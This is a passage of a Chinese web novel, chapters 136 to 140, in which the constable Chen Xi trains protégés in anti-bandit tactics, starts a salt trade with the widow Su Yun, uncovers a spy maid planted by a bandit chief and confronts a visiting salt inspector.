又是一记响彻云霄的大嘴巴子:
“知道错了,为啥不跪下?”
宁乱一边把银子揣怀里,一边瞪着佐氏。
而佐氏,直接被这巴掌抽飞。
身子靠在柜台。
又懵逼了。
什么情况?
拿了银子,还老娘一巴掌?
佐氏捂着脸,整张脸,肉眼可见的肿了起来。
铺里的伙计也惊呆了。
当家的被捕头打了?
还打了两次?
同时咽了口唾沫,身体不由自主的向后退着。
不敢上前来扶。
宁乱见她不跪,一步来到佐氏面前:
“本官的话,你没听见?”
佐氏深吸了口气,恶毒的双眼都要冒出火来,顾不得脸上疼痛,选择暂时屈服,跪在地上磕了一记响头:
“民妇知错,请大人原谅。”
额头贴着地面,眼睛发出阴厉的光。
白毛小崽子,你给老娘等着。
一个小小的捕头,竟敢冒犯老娘。
她打定决心,等攀上县令老爷,第一个便要你死。
我佐家有的是银钱,不信收拾不了你个小畜生。
宁乱见她服软,轻哼了一声,来到胡伢子面前:
“累坏了哈,回去休息吧。”
胡伢子憨憨一笑,说话瓮声瓮气:
“好,那我走了奥。”
他俩早就分好了工,胡伢子的任务完成,接下来交给宁乱处理。
宁乱看了一眼周遭,伢子挺卖力气的,破烂不堪,一楼基本砸完了。
向后一努嘴,冲着衙役吩咐道:
“上楼,照这个样子,给我砸了。”
“好嘞乱爷。”
衙役们一听宁乱吩咐,根本不敢怠慢。
宁乱在县府什么身份?
傻子都知道。
七八个衙役,噔噔噔的上楼,根本无人敢拦。
没多会功夫。
“砰——嘭——哗啦——铛——”
伙计们脸上齐齐一抽,不用问。
二楼也没了。
纷纷将目光投向佐氏,当家的这是得罪人了啊。
不然,哪有官府砸商贾店铺的?
一脸希冀,望着跪在地上的当家的。
他们的对话,佐氏可一字不落的全听见了。
敢情傻大个和白毛捕头的一伙的。
好。
很好。
佐氏不傻,心里已经开始分析了。
若说自己得罪人,除了佐千千那小**,还能有谁。
定是那小**。
不对,那小**没有这个能力。
突然,她想到一个人。
苏韵。
那臭寡妇,一定是仗着有几分姿色,勾搭上这个白毛捕头。
好好好,你不是为小**出气么,真以为老娘好惹?
以为勾搭个野汉子就能对付老娘?
佐氏已经想到了办法,万事以钱开路。
就不信县令老爷,面对白花花的银子不心动。
她想
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通了,暂时隐忍。
一刻钟时间过去,二楼逐渐没了打砸声音。
七八个衙役下来向宁乱汇报:
“搞定了,乱爷。”
宁乱一撇嘴,看了眼跪在地上不吱声的佐氏。
“好了,处理完毕。”
“报官的,你可曾满意?”
佐氏被起的直哆嗦,咬着牙根回了一句:
“多谢大人,民妇满意。”
宁乱轻哼一声,学乖了啊。
想揍她都找不到理由。
一挥手:
“回府!”
迈着八字步,带着七八个衙役走了出去。
直到他们走远,伙计们才敢上前搀起佐氏。
佐氏双腿跪的发软,尖酸刻薄的脸上,扭曲得不成样子。
任由伙计将她扶到家里。
打发走了下人,内宅暗门里,走出一个油头粉面的男子,正是她的姘头。
何健。
何健见佐氏脸庞肿胀,惊呆了,立即上前为她擦药,询问情况。
得知是苏韵和佐千千,两个**指示人干的,脸上变颜变色。
这两人他都看上了,本想着借助佐家势力,一步步逼迫两女成为自己的禁脔。
没想到,两人主动送上门来。
眼珠子一转,有了主意:
“夫人别急,这事交由我来办。”
“你在家养伤,咱们不去找县令老爷。”
“我直接去州府,那里我有熟人。”
“如今王家盐铺倒了,正好空出来一个盐引名额。”
“咱们多送些银钱,拿下盐引名额,到时候和苏家盐铺竞争。”
佐氏眼睛一亮,想了想后,又黯淡下来。
倒是个好主意,但公平竞争,咱们可没有优势啊。
“你确定咱们能竞争得过?”
何健嘿嘿一笑,说出了他的计划:
“夫人还记得,苏家盐铺,前些日子贩卖的精盐么?”
佐氏当然知道,她还打发下人去买些尝尝,谁知再买时,已经断了货。
“此事,和精盐有什么关系?”
何健见佐氏想不通,索性也不卖关子了。
“王家现在倒了,没了竞争对手,苏家必定会拿出精盐来卖。”
“那精盐,可是私盐。”
“我到州府举报,到时候州府下来人查她。”
“贩卖私盐的罪过,谁能保得住她?”
佐氏听完,顾不得脸上疼痛,挣扎坐起,拍手叫道:
“对,我要那臭寡妇死,还有佐千千那小**,都给老娘死。”
佐氏心肠歹毒,不是勾搭野汉子打老娘么。
这次倒要看看,究竟谁在找死。
何健哼了一声:
“搬倒了苏韵,到时候可要把咱们的儿子改姓。”
“这佐家,也要改成何家。”
佐氏白了何健一眼:
“行行行,都依你。”
何健淫邪一笑:
“佐长福帮我养了这么多年儿子,还不自知,这次没想到吧。”
“老子不光睡了你的女人,连你的家产也是我的。”
说罢,一把搂过佐氏,开始蠕动起来。
何健贼眼珠子发亮,苏韵被查处贩卖私盐,再通过关系将她保下。
最后逼迫她成为自己禁脔。
征服了苏韵,还愁佐千千不来么。
一切,都顺理成章。
两个美人。
都是我的。
第136章 再吃老子信鸽,给你射下来
下午。
何健带着几个佐家亲信,赶着马车出发州府。
按照路程来算,最迟明晚返回。
何健嘴角泛起冷笑,他可惦记苏韵和佐千千很久了。
这次,说什么也要到手。
与此同时。
县府内宅。
40名妙龄女子,整整齐齐站在院中,都低着头,眼里的恐惧与不安,丝毫藏不住。
她们,正是从匪寨中,拯救出来的女子。
陈息站在她们面前,瞧这些女子衣衫褴褛,心中莫名的不是滋味。
花季少女,所经历的那些苦难,并不是三言两语能道明的。
拿出几串钱放在桌上,温声开口:
“大家不要怕,本官白山县县尉。”
“由于本官失职,导致你们中的许多人,遭受到**。”
“治下发生这种事,本官难辞其咎!”
说罢,将官帽捧在手中,对着众女子,深深行了一礼。
一旁的宁乱急了,大哥啥时候给别人低过头,现在居然给一群女子行礼?
“大哥,你才上任没几天,这事怎么说也赖不到大哥身上啊。”
“大哥你别......”
宁乱话还没说完,被陈息挥手打断,那些女子则更害怕了,县尉爷给一介民女行礼,这种破天荒的事,就这么不合逻辑的发生了。
她们紧张的手足无措,反应快的下跪磕头,反应慢的连忙躬身回礼。
一时间,人间百态。
陈息给了她们一段适应时间后,继续开口:
“给你们两个选择,去或是留。”
指了指桌上的几串钱:
“如果大家想要回去,本官会给你们发些盘缠,出去自谋生路。”
“如果没有生路,可以留在府中,平时帮本官做些力所能及的活计。”
“管吃管住,每月300个铜钱。”
“还有一点大家要放心,留下来,也不代表没有自由。”
“想离开,知会本官一声,随时可以。”
众女你看看我,我看看你,有胆子大的,扑通一声跪倒在地:
“大人,妾身家中还有一个妹妹需要照顾,能不能放妾身回家。”
有一个牵头的,就有第二个。
一连跪倒好几个,都有各种理由想回家。
陈息淡淡一笑,拆开铜钱为她们发了盘缠:
“好,本官说了,去或是留,是你们的自由,谁也不能剥夺。”
为她们每人发了100个铜钱,好言安抚:
“如果家中有什么困难,随时来找我。”
“若是有人风言风语议论,同样来找本官。”
“本官,为你们做主。”
那几名女子,手里握着铜钱,不可置信的望着陈息。
对上的是那张和煦的脸,完全没有一丝责怪意思。
几女拿着铜钱,迷迷糊糊走了几步后,发现并没有人拦着自己。
转身,跪倒在地,泪水止不住的滑落:
“感谢大人,民女下辈子做牛做马,也要报答大人的恩情。”
陈息微笑着挥挥手:
“去吧,回去好好赡养爹娘。”
“记住,无论遇到任何难处,都可以来找本官。”
给了她们一个放心的眼神,目送几女出府。
见她们平安出府,又有几个女子站了出来。
这几女是附近庵里的尼姑,土匪杀了师父,将她们抢了回去。
如今匪患消失,她们想回到庵中继续修行。
陈息自不会阻拦,分别给了她们盘缠,目送离开。
临走时,几尼双手合十:
“阿弥陀佛,愿施主将慈悲之心广布,自得善缘,福慧双增。”
送走了一些女子,此刻府中,还剩下29人。
陈息唤来管家,将这些女子安排居所和日常工作,并再三叮嘱,不许欺负她们,如若发现,严惩不贷。
管家自是不敢多言,通过几天的接触,他已经摸透了陈息的性子。
是个眼里不揉沙子的主。
连连点头应下。
一下多了29名女子,府中居所紧张,但还是硬着头皮安顿下来。
人多了,工作还是那些。
但县尉爷发话了,养着呗。
其实陈息留下这些女子早有安排,王家空着,地契在自己手里,就是自己的宅院。
等这边稳定了,将几位娘子接过来住一段时间,总要有些丫鬟侍候着。
安排好了这边,陈息突然想起杨刚烈。
这些可都是他的工作,这老小子哪去了?
又唤来管家,得知杨刚烈这两天出门了,不知去了哪里。
陈息嘴角一抽,自己给他时间想想,这老小子竟然跑了?
丢给自己一堆烂摊子。
玛德,到底造不**,给老子一句痛快话。
在这给你收拾烂摊子,岂有此理。
陈息正在心里骂着呢,说曹操曹操到,杨刚烈意气风发,大跨步进府。
见到陈息后,一个大大的熊抱:
“哈哈哈,这些天老弟忙坏了吧,瞧瞧大哥给你带什么了?”
说着话,从怀里掏出一个小瓶子,打开塞子,故意放到陈息鼻子下面,给他闻闻。
杨刚烈一脸得意,等待陈息震惊的表情。
可陈息闻了后,不但没震惊,反而拧眉瞪眼。
陈息心想:拿我的酒,送我是吧?
不用问,这货消失的2天,去了鹰嘴山,并且还有自己的酒。
顺着这条线推理,不用问,一定是找愣种去了。
至于他俩是什么关系,陈息都懒得分析。
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杨刚烈是行伍出身,愣种从小熟读兵书,武艺奇高。
自从上次窝窝村一战,杨刚烈回来后,什么事都听自己的。
直到让他**,这老小子才犹犹豫豫的,消失了几天去鹰嘴山。
“这酒,哪来的?”
杨刚烈神秘兮兮一笑:
“老弟别管哪来的,香不香吧?”
陈息白了这货一眼:
“少扯些有的没的,造不**?”
“造,必须造,现在就造。”
杨刚烈回答的老干脆了,他都不怕被外人听见,拍着胸脯子保证。
陈息都要被他气笑了:
“行,一会我就搬到王家宅子,我一个县尉,总住你这里不是事。”
见陈息要搬家,杨刚烈瞬间急了,一把拉住他:
“兄弟不可啊,你也知道,为兄年岁大了,脑袋不好使,你就在这住着,为兄又不是没家。”
陈息眯着眼睛,上下打量一下这货。
胳膊是胳膊,腿是腿的。
络腮胡子黢黑,这叫年岁大了?
糊弄鬼呢。
分明是要偷懒。
气的陈息,一把薅住他脖领子:
“你记住,你才是县令。”
杨刚烈脸都不红一下,任由他薅着:
“对呀,我是县令,但我听县尉的。”
“啥事都听。”
陈息都要无语了,没想到这货这么不要脸,前后转变之快,令人猝不及防。
松开他,没好气的说道:
“杨冲那边......”
“用,当儿子用。”
“我儿子,就是你儿子。”
陈息深呼一口气,白了他一眼,不想跟这货废话。
见陈息要走,杨刚烈一脸贱笑:
“兄弟,为兄这酒可是极品,特意给你带的......”
话还没说完,陈息转身就走:
“自己留着喝吧。”
杨刚烈愣住,兄弟是不喜烈酒?
不能啊,这种好东西,哪个男人不爱?
更何况,这是大小姐赏的,临走时还叮嘱呢。
千万别送人,她那也没多少的。
自己偷偷拿来与你分享,你还不领情。
切。
没口福。
杨刚烈一扭头,出了县府。
回家喝酒,搂夫人睡觉。
陈息回到房中,立马修书一封回鹰嘴山。
命二牛成立一支运输队,明日开始,押送一批精盐到县里。
放飞了信鸽,躺在床上休息会。
今晚还要给杨冲和陈一展,讲讲剿匪战术。
这一觉,直接睡到天黑。
醒来后,简单吃了个晚饭。
一转眼,又瞥见那只黄鹰,还是蹲在那个树杈。
玛德,就是身边没弓。
再吃老子信鸽,给你射下来。
第137章 隔山拜佛
县府会客间,被陈息改为作战室。
严加看守,不许外人进来。
陈息推开门,陈一展,杨冲,已经在这边等着了。
“爹...”
“陈叔叔...”
二人打了招呼,在沙盘前站定,等待陈息教学。
陈息微微点头,两个熊孩子精神状态很好,此刻严阵以待。
没让他们失望,拿起一根木棍,开始为他们复盘这次剿匪行动。
从出城开始,行进路线,一直到山脚下,如何定位敌人暗哨,如何利用地形地势......
陈息不厌其烦的给他们讲解,战法,是后世的特种战法。
口传大德行,心授大智慧!
陈息讲的详细,二人听的认真。
直到深夜,才在两人意犹未尽中结束。
这一课,打开二人心中一扇窗。
原来,战争还可以这样打。
下面是总结时间。
两人手扶着沙盘,微闭双目,站在那里一动不动。
陈息也不打扰,就饶有兴致的看着两人。
他知道,这两个孩子正在参悟。
两刻钟后,二人才从入定中醒来,满脸兴奋之色。
“爹,我想通了,这次伤亡大,是孩儿勇力用错了地方。”
“孩儿应该分开一支队伍,由侧方穿插,先拔了敌军暗哨,掩护大部队前进。”
“然后,潜入寨子中,斩首对方重要首脑人物。”
“敌军群龙无首,必定溃散。”
“这时,大部队前来围剿,匪寨不攻自破。”
陈一展的这段分析,可把陈息惊到了。
这不就是特种部队的打法么。
刚刚自己,没有故意往这个方向引导,这孩子......自己参悟到了?
**!
人才啊!
没等陈息缓过神来,杨冲也开口了:
“陈叔叔,如果再给侄儿一次机会,这仗,侄儿要这样打。”
杨冲拿过木棍,指着沙盘中几个匪寨的位置:
“这些匪寨,全部是青佛手下。”
“咱们这次行动,是分开队伍,同时进攻。”
“我知道,这是陈叔叔在考验府兵战斗力,但孩儿还有一种办法。”
陈息怔住,居然能举一反三?
激动的心,颤抖的手:
“说...说...”
杨冲眼皮不抬,依旧盯着沙盘,冷静开口:
“咱们可以分出优势兵力,一口吞了一个寨子,然后对外放话。”
“立棍吞窑!”
“利用土匪中的行规,引出周围匪寨主力讨伐。”
“他们的主力下山,山上必然空虚......”
“将他们的寨子夺下,剩下无家可归的土匪,会去哪呢?”
杨冲一指沙盘上,一道绵延弯转的横脉:
“玉龙岭!”
“青佛得知此事后,必定猜到是府兵的手笔,但那些寨子没了。”
“他,会为弟兄们做主么?”
“做主,就要派匪下山。”
“不做主,他大当家的人心不稳。”
“圈套就摆在这里,进,或是不进?”
杨冲说完,陈息彻底惊呆了。
什么是人才。
这踏马就是人才。
不,这踏马是帅才!
两人以后的职位,陈息都想好了。
以陈一展为首,组建一支特战队,利刃出鞘,锋芒毕露。
而杨冲,能有如此清晰的大局观,通过一次小小的剿匪复盘,竟能看得如此长远。
这种人才不统领全军,谁来统领?
“**——”
陈息用力为二人鼓掌,该骂得骂,该夸得夸!
“好,分析的好。”
重重一拍两人肩膀,两人受宠若惊。
“爹...”
“陈叔叔...”
二人激动的满脸涨红,这还是陈息第一次夸他们,如何不让两个熊孩子欣喜。
夸完了他们,陈息满面红光,来到沙盘前一指玉龙岭:
“玉龙岭上,四梁八柱,个个都是难缠的主。”
“要想分化他们,需要很长的时间。”
“我等不起,也不想等。”
“有些东西看似复杂,实则很简单。”
“我们要把复杂的问题,简单化。”
一指陈一展:
“展儿,明日你到府兵校场,给我挑出20个习武的苗子。”
“这支队伍,就叫寒龙军,由你统领。”
“先将他们的功夫底子打好,然后我教你们特种战法。”
陈一展两道剑眉挑的高高的:
“爹,20人立即就有,而且都有底子,孩儿再教他们半月,定能练出来。”
陈息眼睛一亮:
“好,越快越好!”
安排好了陈一展,下面是杨冲:
“冲儿,你刚刚的这计,叫
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做......”
“隔山拜佛!”
杨冲懵了,隔山拜佛?
这是......
陈息微微一笑,开始为他解惑:
“这尊佛,我们拜了,但是隔着山。”
“隔的这座山,你知道是什么么?”
陈息有意考考他,看他能不能想出问题关键。
杨冲将视线落在沙盘上,单手捏着下巴,眼睛微眯。
想了一会,突然眼前一亮:
“叔叔,您是说,这座山,就是那些匪寨。”
杨冲在沙盘上比画了一个大致方位,这些地方,正是没参与窝窝村战斗的匪寨。
足足9个。
“对。”
陈息双眼微眯,接下来说出的话,可难住了杨冲:
“这9个匪寨,为什么没参与窝窝村这场战斗呢?”
杨冲皱眉想了想,才接话道:
“一是因为他们离得远,二......二......他们不服青佛?”
杨冲震惊的望着陈息,不服青佛?
可能么?
陈息轻轻摇头,说出问题重点:
“他们不是不服青佛,而是敢怒不敢言!”
“青佛没让他们出兵,是想通过这次战斗,立下匪威。”
“在我青佛地盘内,老老实实上供,老老实实割让利益。”
杨冲想明白了,原来是这样。
白山县江湖总瓢把子,也不是人心很稳啊。
不过,叔叔是怎么看出来的呢?
抬眼,有些疑惑的望着陈息,这个问题,只有叔叔才能解答。
没让他等多久,陈息接着开口:
“青佛之所以买个县令身份,除了贪财之外,还有另外一个原因。”
“那就是,黑白两道通吃,坐稳他的瓢把子身份,威慑众匪。”
“如今,窝窝村战斗失利,他的县令身份也没了。”
“这叫,断他一臂。”
“没了这层县令身份,你猜,那9个匪寨,会不会生出小心思呢?”
听完,杨冲呼吸加重,目光灼热的盯着陈息:
“叔叔,那现在我们该怎么办?”
陈息呵呵一笑,闭起双目,再次睁眼时,两道寒光闪过:
“这佛,我们要拜。”
“这座山,也要隔。”
“等府兵招募完,展儿的寒龙军成型。”
抬手一指玉龙岭:
“再断他一臂!”
第138章 这份见面礼,小爷喜欢
今天的任务完成。
再给两人安排了任务,杨冲白天负责招募府兵,陈一展组建寒龙军。
晚上都住在府中,听陈息讲解战术战法。
翌日。
一大早,二牛便带着村民拉来5辆马车精盐。
来到县里,直奔府衙。
让二牛在这等着,自己则要去苏家盐铺。
陈息摸了摸脖子,很是尴尬。
上次也不知苏韵为啥突然离去,但精盐已经拉来了,只能硬着头皮去谈。
来到盐铺,今天的生意依旧火爆。
只不过,苏韵将盐缸全部搬到街上,售货的小伙计也多了一倍。
顾客无须排队,效率大大加强。
陈息挑了挑眉,这娘们该说不说,办事效率还是挺快的。
迈步进了铺子。
第一眼,便见到一身素衣的苏韵,此刻正在归拢账本,几根青丝散落额间也没空整理。
陈息轻咳了一声:
“咳...夫...”
人字还没叫出口,便遭到苏韵一个大白眼,语音十分冷漠:
“县尉爷,这么早来买盐么?”
然后吩咐一旁小伙计:
“带县尉爷去称重,打八折。”
小伙计还未应声,面前就出现一张大脸,距离自己很近,都能清晰感受到对方体温。
苏韵脸蛋一下子红了,别过头去,小手抵在陈息胸前,一句话没说,但表情已经慌乱。
陈息咧嘴一笑:
“不买,我是来卖的。”
他是来卖的?
这话,怎么听怎么觉得别扭。
苏韵抿了抿红唇,眼神不敢直视陈息,轻轻推了一下,感觉像推在一块石板上。
小手硌得生疼。
“远些...”
苏韵慌了,摸不准陈息想干什么。
铺子里还有好多人,挨得人家这么近。
推不动陈息,索性收回手来,身子贴在墙壁,不断的捋着头发,声音唯诺:
“你要干嘛?”
陈息刚想回答干,但及时止住了。
不能和这娘们开玩笑,厌男症刚好,可别刺激她了。
“来了还能干嘛?精盐到了,夫人还做不做生意了。”
一听精盐到了,苏韵脸上喜色浮现。
断货这段时间,每天都有贵人来催问,她都要急死了。
“跟我来吧。”
有生意做,她也顾不上别的,领着陈息来到内间。
吩咐小伙计无事不要来打扰。
关上内间房门,为陈息倒了杯茶,坐在椅子上,两脚并拢,双手置于膝上:
“说说吧,到了多少精盐?”
陈息见她听到精盐生意后,立即变得这么正式,有些好笑。
这娘们果真是做生意的好料,索性直接谈:
“5马车。”
苏韵闻言一惊,5马车。
太好了,这次不光货源充足,还能匀出来一些向周边扩展。
“好,还是上次一样的分成么?”
苏韵问出她认为最重要的问题,如果还是3成利润的话,没了王家扰乱,自己岂不是赚翻了。
陈息端起茶杯饮了一口:
“答应你的,必然作数,依旧是3成利润。”
苏韵深吸一口气,红唇紧紧抿着,心里开心极了。
这桩生意如果能维持长久,苏家定能再回巅峰。
“那...谢谢县尉爷了...”
陈息大手一挥,调笑一句:
“小姨别这么生分,同千千姑娘一样,唤我一声陈大哥便可。”
说完一抬下巴:
“咱各论各的。”
听完这话,苏韵胸口剧烈起伏几下,惹得陈息两眼放光。
“妾身寡妇,可攀不上县尉爷的高枝呢。”
说完还使劲白了一眼他,这一个大白眼,陈息竟从中看出些娇嗔意味。
“哈哈哈,不开玩笑了。”
“还有一件事,我要和你聊聊。”
“说吧。”
苏韵为陈息续了杯茶,自己这杯也小口抿了一下,等待陈息说出下一件事。
“你现在的粗盐,从州府进价多少?”
苏韵没想到他问出这个问题,大御的粗盐,统一由州府调配。
税收也全部上缴州府,目的就是架空县一级的权利,防止官商勾结。
“粗盐200文,细盐260文。”
“粗盐官方定价300文,细盐400文。”
陈息点点头,粗盐就是卖给寻常百姓的,酸涩味很重,细盐则是多了一道加工步骤,能减少些酸涩味,但效果不大。
“王家覆灭,这白山县没了100文一斤的私盐,想必会丢掉很多主顾吧?”
苏韵点点头,那些主顾本就是王家的,王家覆灭,倒是有人来问过自己,但自己没有私盐,接不住这笔生意。
“是的,王家之前发展了一批小盐商,他们负责到白山县周边贩卖,从中赚取些利润。”
“有些门路的,甚至都卖到了隔壁几个县。”
“这次王家覆灭,那些人倒是找过我,不过我没有私盐,接不下这笔生意。”
苏韵实话实说,他现在铺中的盐,都是从州府进的。
进价200文,怎么可能以私盐的价格往出卖。
陈息闻言,微微一笑:
“我这里有私盐,价格你来定,同样三七分。”
“不知夫人,敢不敢做呢?”
苏韵一听陈息有私盐,凭她的头脑,立即猜到他接手了王家盐矿。
然后有些好笑的盯着他:
“妾身精盐都敢卖,区区一个私盐,有什么不敢做的。”
瞧她答应的痛快,陈息爽朗一笑:
“好,从明天起,精盐粗盐,全部给你供货。”
“把消息,透露给王家发展起来的那批小盐商。”
“这笔生意,咱们接了。”
苏韵欣然应允,这笔生意她同样不想错过:
“妾身,便谢过县尉爷了。”
陈息有些无语,好好的陈大哥不喊,偏要喊爷。
随她去吧。
出门唤来二牛,王家盐矿工人现成的,以后统一归他管理,那些苦力也要发工钱,不许限制人身自由。
从今往后,二牛直接对接苏韵。
所销售利润,每半月结算。
忙完了这边,陈息回到府衙。
白天无事做,正好看看新来那些女子的安置情况。
没等他主动询问,管家率先来报:
“老爷,府中人员太多,奴才挑选出来几名手脚麻利的侍女。”
“以后您的衣食起居,全部由她们负责,您看行吗?”
陈息点点头:
“可以!”
他倒不在乎有没有人侍候,主要是给这些女子找些事做。
养着吃白食,不像话。
见陈息同意,管家带来4名女子给他过目。
4名女子年龄大约都在十七八岁,五官精致,穿着得体,见到陈息后,齐齐施了个万福:
“奴婢见过老爷。”
“不必多礼。”
陈息丝毫没在意,又检查了其余女子的居所,见食宿都安排妥当后,才回房。
募兵的募兵,训练的训练。
难得清闲下来,他还有些不适应。
这时,一名女子推门进来,端着一盆温水来侍候陈息洗手。
可能怕水沁湿,那名侍女将袖子卷起,露出一截藕白玉臂。
陈息看到女子手臂,眼神忽然一凝。
望了窗外一眼,又仔细看了看女子手臂。
然后,嘴角挂起一抹危险弧度。
青佛。
你若一直没动作,小爷还真看不起你呢。
这份见面礼。
小爷喜欢。
第139章 谁家煤气罐子成精了?
女子将温水端来,放在案台上,并未离去,而是低着头站在那里。
怎么看,都是一名乖巧型侍女。
见她不离去,陈息主动走过来,挽起袖子洗了洗手。
同时,偷眼观察女子神色,见她始终低着头,陈息开口:
“你叫什么名字?”
女子闻言,好像有些慌乱,微一躬身:
“回老爷的话,奴婢叫梅儿。”
陈息挑了挑眉,梅儿,名字倒是挺好听的。
洗完了手,梅儿立即拿出一块帕子,细心的为他擦干净。
动作熟练,丝毫不显得生疏。
“好,挺有眼力见的。”
“以后你就专门在这侍候着,可还行?”
一听让她专门侍候,梅儿心中一喜,再次施礼:
“谢谢老爷,能侍候老爷,是梅儿的福分。”
陈息笑了笑,眼前女子越乖巧,他心中的警惕越强。
“抬起头来,让老爷瞅瞅。”
听得吩咐,梅儿虽说有些慌乱,但还是将脑袋抬起。
陈息仔细看了看,女子身材匀称,五官精致,两道柳叶弯眉,细一看,还有修饰过的痕迹。
红唇琼鼻,长长睫毛下,一双水汪汪的大眼睛,很是灵动。
陈息点点头,不错。
光是这份颜值,丝毫不逊色于自己4位娘子。
见陈息反复打量自己,梅儿双颊微红,两脚并拢,白皙的小手捏着衣角。
有些局促不安。
陈息瞟了眼她的鞋子,一双厚底棉靴,搭配灰色棉裤,穿着得体。
“你是怎么被土匪抓到山上去的?”
陈息问话,梅儿立即作答:
“回老爷,奴婢原来是落雁庄王员外家的丫鬟,土匪下山劫掠,杀了员外一家。”
“那些匪人见奴婢有些姿色,就将奴婢......”
说到这里,梅儿潸然泪下,哽咽着嗓音:
“就将奴婢掳了去...”
陈息叹息一声:
“这帮狗娘养的土匪,等老爷兵强马壮,定要屠他满门,为梅儿报仇雪恨。”
梅儿又将脑袋低了下去,小嘴死死抿着,眼里似有寒光一闪而逝。
“多谢老爷,梅儿不敢奢求报仇,只望能一直侍奉老爷身边,便是梅儿的福分。”
陈息微微一笑,想侍奉在我身边是吧,给你这个机会:
“好,去把宁乱叫过来,老爷有事吩咐。”
“是,老爷!”
梅儿得到命令,手脚利落的端起盆,转身离去。
陈息一直注视她走得很远,才将目光收回。
又抬眼望了望窗外。
玩味一笑。
青佛是真舍得啊,安插这么个大美人过来,不怕小爷绿了你?
不急,等她主动露出马脚。
躺在床榻上假寐一会,宁乱前来报道:
“大哥,你叫我。”
陈息微抬眼皮:
“佐家那边有什么动作?”
宁乱大眼珠子翻了翻,挠着脑袋如实回答:
“大哥,佐家把铺子关了,一直没有动作。”
又将一根手指放在嘴里咬了咬,神色突然凝重:
“是不是因为我把他们打怕了,不敢再来报官?”
陈息也有些疑惑,按道理,佐家被宁乱欺负,应该借此机会到县衙送礼,增进一下关系。
怎地没动作了?
事出反常必有妖!
陈息嘴角挂起一道危险弧度。
管你在搞什么幺蛾子,小爷正好借此机会,投石问路。
探探你佐家的水,到底有多深。
打发走了宁乱。
陈息出门去找杨刚烈,不能让这老小子闲着。
募兵一事,还需他来坐镇。
杨刚烈干这种活很顺手,爽快的答应下来。
有了他牵头,效果显著。
接下来,一切都在稳步推进。
陈息白天去看寒龙军的训练情况,晚上给陈一展和杨冲讲解战法。
两日时间,一晃而过。
期间,梅儿将陈息的屋子,打理的井井有条。
房间落尘不染,换洗衣物,一应俱全。
这一日清早。
县府外,来了两队卫兵,中间护着一架豪华马车。
一名卫兵队长,递给衙役文牒:
“叫你们县令出来接驾。”
“州府巡盐司,齐大人到!”
衙役一听是州府来人,接过文牒一路小跑回府。
正撞见要出门募兵的杨刚烈:
“老爷老爷,州府巡盐司,齐大人来了,让您去接驾。”
杨刚烈心里一惊,巡盐司,这特么不就是奔老子来的么。
一把抓住衙役:
“我陈兄弟呢。”
衙役立马回道:
“县尉爷一大早就出门了,小的也不知道去了哪里。”
杨刚烈急的汗都下来了,虽说答应陈息造反,但没想到,州府动作这么快。
还没等他们催缴人头税呢,盐官倒是先来了。
抓住衙役衣领,语气焦急的不行:
“快...快去寻县尉爷,将此事如实告知。”
“好,好的老爷。”
知道事情紧急,发动所有捕快衙役,立即出门去寻县尉爷。
杨刚烈这边不敢怠慢,官衣官帽穿戴整齐,出门迎接。
急冲冲到了府衙门口,只见两队卫兵,顶盔贯甲整齐肃立,一驾豪华马车停在当中。
不用问,正主就在车里。
杨刚烈行了一个揖拜之礼:
“下官不知大人前来,未曾远迎,还望恕罪。”
听到县令来了,卫兵挑开车帘,马车中才下来一人。
一只锦靴踩在地上,显出来人身形。
齐德隆一身七品官衣穿戴整齐,年纪不大,模样有些俊俏,油头粉面,一双薄唇。
微一拱手,算是回礼。
“不怪县令大人,本官也是临时接到消息,未曾通知。”
两个虽品级一样,但明显齐德隆职权更大。
州府巡盐司管辖范围很广,负责整片区域的盐业销售。
见来人还算客气,杨刚烈伸手做出一个请的手势:
“齐大人远道而来,快快进府暖暖身子,里面请,里面请。”
齐德隆没回话,又掀开车帘,将一个圆形物体扶下了车:
“夫人慢些,咱们进府暖暖身子。”
圆形物体下了车,左右看了看,然后一脸嫌弃的白了眼府衙:
“这是什么破地方,害得本小姐染了风寒。”
她面色潮红,重重的咳嗽几声。
在州府呆腻了,得知夫君出巡,想跟他出来散散心。
哪成想外面这么冷,马车一路颠簸,染了风寒。
夫人咳嗽,齐德隆立即为她敲着后背,一边敲背,一边向杨刚烈说道:
“这是本官的夫人,夫人什么身份,不用本官明说了吧?”
杨刚烈一愣,再看圆形物体,这人他还真见过。
正是知府大人的千金。
谢轻蝉!
不过这身材,和轻蝉两字一点不挨着。
肥头大耳,圆脸厚唇。
一头肥猪的既视感。
杨刚烈嘴角抽了抽,知府大人的千金怎么也来了?
怎敢怠慢,连忙将两人迎进府衙。
一边走,一边说着话:
“夫人您慢点,待会我让人去找本县最好的郎中,为夫人诊病。”
谢轻蝉一边走,一边咳嗽:
“快些去找,咳咳...本小姐咳咳咳...”
谢轻蝉在马车里还好,下车吸了冷空气,咳嗽越来越重。
话都说不利索了。
扭动肥胖的身子,在齐德隆搀扶下,进了府衙。
杨刚烈吩咐衙役,将两个小火盆放在夫人脚边暖身子。
“夫人您稍等,本官这就命人去找郎中。”
杨刚烈想走,却被齐德隆拦住:
“县令大人莫急,听说你们县尉就是神医,正好为我夫人诊治。”
齐德隆听了何健汇报,也就知道了陈息身份。
而且此次的巡盐目标,也与他有关系。
杨刚烈一拍脑门子,他倒把这茬忘了。
我兄弟就会医术啊,而且道行不浅。
“好好好,夫人稍等...”
正要询问衙役,找没找到陈息呢,说曹操曹操到。
陈息一路骂骂咧咧,自己正在苏家盐铺和苏韵对账呢,眼看都要摸上小手了。
突然就被衙役喊来。
巡盐?
巡你奶奶个哨子。
陈息没个好气,进府第一眼便看到圆形物体,愣了一瞬后,立即掐诀念咒:
“急急如他么律令!”
“谁家煤气罐子成精了!”
第140章 小爷,最擅长治咳嗽
一句谁家煤气罐子成精了。
震惊了所有人。
杨刚烈最熟悉陈息,知道从他嘴里说不出什么好话来。
上前拉住他,哈哈一笑,打了个圆场:
“来来来陈兄弟,这位是咱们州府巡盐司,齐大人。”
杨刚烈主动为陈息介绍来人,一边介绍,一边冲他眨巴眼睛。
心想,兄弟你可轻点折腾,眼前这些人,咱们暂时得罪不起,可以适当卑微一些。
应付应付差事。
陈息则是毫不在意,他从衙役嘴里听说了。
不就是巡盐么,牛哄哄的,不知道的,还以为皇上御驾亲征呢。
再说了,为什么来白山县巡盐?
肯定与自己脱不开干系。
这次连手都懒得拱,斜眼瞟了一下二人,径直找张椅子坐下,二郎腿一翘,抓起个苹果就啃。
“哦,来干啥来了?”
陈息这副吊儿郎当样子,可把齐德隆气坏了。
一个小小的县尉,见了本官不行礼,还问自己干啥来了?
你说本官干啥来了?
查你!
齐德隆冷哼一声:
“官职不大,官威倒是不小。”
